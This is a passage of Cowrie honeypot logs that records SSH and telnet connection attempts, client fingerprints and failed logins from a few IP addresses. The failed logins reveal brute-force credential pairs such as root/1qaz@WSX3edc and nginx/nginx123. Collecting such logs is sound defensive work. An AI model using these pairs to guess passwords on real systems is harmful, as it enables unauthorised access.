{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:46.953568Z","src_ip":"45.153.34.114","session":"bccfadd496d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:47.038047Z","src_ip":"45.153.34.114","session":"bccfadd496d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:47.292364Z","src_ip":"45.153.34.114","session":"bccfadd496d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:48.382712Z","src_ip":"45.153.34.114","session":"bccfadd496d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.55627155303955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:54.326919Z","src_ip":"74.91.213.120","session":"1ed80b9fac34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33022,"dst_ip":"159.203.135.109","dst_port":22,"session":"29e41fcf3d6e","protocol":"ssh","message":"New connection: 45.153.34.114:33022 (159.203.135.109:22) [session: 29e41fcf3d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:55.352230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:55.361813Z","src_ip":"45.153.34.114","session":"29e41fcf3d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:55.456942Z","src_ip":"45.153.34.114","session":"29e41fcf3d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:55.794319Z","src_ip":"45.153.34.114","session":"29e41fcf3d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:56.881491Z","src_ip":"45.153.34.114","session":"29e41fcf3d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36784,"dst_ip":"159.203.135.109","dst_port":23,"session":"c80a2aa72b1f","protocol":"telnet","message":"New connection: 74.91.213.120:36784 (159.203.135.109:23) [session: c80a2aa72b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:00.053558Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45322,"dst_ip":"159.203.135.109","dst_port":22,"session":"e658eb488602","protocol":"ssh","message":"New connection: 45.153.34.114:45322 (159.203.135.109:22) [session: e658eb488602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:03.196940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:03.257508Z","src_ip":"45.153.34.114","session":"e658eb488602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:03.299490Z","src_ip":"45.153.34.114","session":"e658eb488602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:03.643900Z","src_ip":"45.153.34.114","session":"e658eb488602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36798,"dst_ip":"159.203.135.109","dst_port":23,"session":"33f2d85e86f5","protocol":"telnet","message":"New connection: 74.91.213.120:36798 (159.203.135.109:23) [session: 33f2d85e86f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:03.766185Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:04.746424Z","src_ip":"45.153.34.114","session":"e658eb488602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36808,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b0f2be02650","protocol":"telnet","message":"New connection: 74.91.213.120:36808 (159.203.135.109:23) [session: 1b0f2be02650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:05.100099Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49548,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dabba6d4080","protocol":"ssh","message":"New connection: 45.153.34.114:49548 (159.203.135.109:22) [session: 7dabba6d4080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:11.360212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:11.367828Z","src_ip":"45.153.34.114","session":"7dabba6d4080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:11.454563Z","src_ip":"45.153.34.114","session":"7dabba6d4080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:11.763202Z","src_ip":"45.153.34.114","session":"7dabba6d4080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:12.856300Z","src_ip":"45.153.34.114","session":"7dabba6d4080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36276,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a5e6cb129dc","protocol":"telnet","message":"New connection: 74.91.213.120:36276 (159.203.135.109:23) [session: 4a5e6cb129dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:18.779814Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49550,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9c2cc4c92c5","protocol":"ssh","message":"New connection: 45.153.34.114:49550 (159.203.135.109:22) [session: f9c2cc4c92c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:19.263327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:19.273864Z","src_ip":"45.153.34.114","session":"f9c2cc4c92c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:19.362429Z","src_ip":"45.153.34.114","session":"f9c2cc4c92c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:19.625729Z","src_ip":"45.153.34.114","session":"f9c2cc4c92c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:20.715886Z","src_ip":"45.153.34.114","session":"f9c2cc4c92c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54544,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cb5eca975f8","protocol":"ssh","message":"New connection: 45.153.34.114:54544 (159.203.135.109:22) [session: 9cb5eca975f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:27.367731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:27.373079Z","src_ip":"45.153.34.114","session":"9cb5eca975f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:27.464499Z","src_ip":"45.153.34.114","session":"9cb5eca975f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:27.734621Z","src_ip":"45.153.34.114","session":"9cb5eca975f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:28.820521Z","src_ip":"45.153.34.114","session":"9cb5eca975f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.15591835975647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:30.209356Z","src_ip":"74.91.213.120","session":"c80a2aa72b1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13729691505432,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:34.903364Z","src_ip":"74.91.213.120","session":"33f2d85e86f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.216443061828613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:35.316425Z","src_ip":"74.91.213.120","session":"1b0f2be02650","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43592,"dst_ip":"159.203.135.109","dst_port":22,"session":"124460d95e47","protocol":"ssh","message":"New connection: 45.153.34.114:43592 (159.203.135.109:22) [session: 124460d95e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:35.634666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:35.640199Z","src_ip":"45.153.34.114","session":"124460d95e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:35.720768Z","src_ip":"45.153.34.114","session":"124460d95e47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:36.183244Z","src_ip":"45.153.34.114","session":"124460d95e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:37.274015Z","src_ip":"45.153.34.114","session":"124460d95e47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.23","src_port":61624,"dst_ip":"10.17.0.5","dst_port":22,"session":"9172728d7fe3","protocol":"ssh","message":"New connection: 176.65.132.23:61624 (10.17.0.5:22) [session: 9172728d7fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:41.990445Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:41.995604Z","src_ip":"176.65.132.23","session":"9172728d7fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59272,"dst_ip":"159.203.135.109","dst_port":22,"session":"e00266929ada","protocol":"ssh","message":"New connection: 45.153.34.114:59272 (159.203.135.109:22) [session: e00266929ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:43.363669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:43.367997Z","src_ip":"45.153.34.114","session":"e00266929ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2